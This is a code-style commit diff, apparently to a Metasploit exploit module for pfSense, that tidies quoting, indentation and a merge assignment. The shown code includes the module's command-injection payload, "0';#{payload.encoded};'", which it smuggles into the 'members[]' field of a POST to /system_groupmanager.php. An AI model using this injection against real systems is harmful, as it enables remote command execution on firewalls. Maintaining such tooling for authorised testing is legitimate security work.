rubocop got a donut

Author: h00die

modules/exploits/unix/http/pfsense_group_member_exec.rb

@@ -67,8 +67,8 @@ def initialize(info = {})
   def login
     res = send_request_cgi(
       'uri' => '/index.php',
-      'method' => 'GET',
-      )
+      'method' => 'GET'
+    )
     fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
     fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
 
@@ -87,7 +87,7 @@ def login
       }
     )
     unless res
-      fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
+      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
     end
     if res.code == 302
       vprint_status('Successful Authentication')
@@ -105,7 +105,7 @@ def detect_version(cookie)
       'cookie' => cookie
     )
     unless res
-      fail_with(Failure::UnexpectedReply, '#{peer} - Did not respond to authentication request')
+      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
     end
     /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
     if version
@@ -156,23 +156,23 @@ def exploit
 
       group_name = rand_text_alpha(10)
       post_vars = {
-          '__csrf_magic' => csrf,
-          'groupname' => group_name,
-          'description' => '',
-          'members[]' => "0';#{payload.encoded};'",
-          'groupid' => '',
-          'save' => 'Save'
+        '__csrf_magic' => csrf,
+        'groupname' => group_name,
+        'description' => '',
+        'members[]' => "0';#{payload.encoded};'",
+        'groupid' => '',
+        'save' => 'Save'
       }
       if version >= Gem::Version.new('2.3')
-        post_vars.merge({'gtype' => 'local'})
-      elsif version <= Gem::Version.new('2.3') #catch for 2.2.6. left this elsif for easy expansion to other versions as needed
-        post_vars.merge({
+        post_vars = post_vars.merge('gtype' => 'local')
+      elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
+        post_vars = post_vars.merge(
           'act' => '',
           'gtype' => '',
           'privid' => ''
-        })
+        )
       end
-      res = send_request_cgi(
+      send_request_cgi(
         'uri'           => '/system_groupmanager.php',
         'method'        => 'POST',
         'cookie'        => cookie,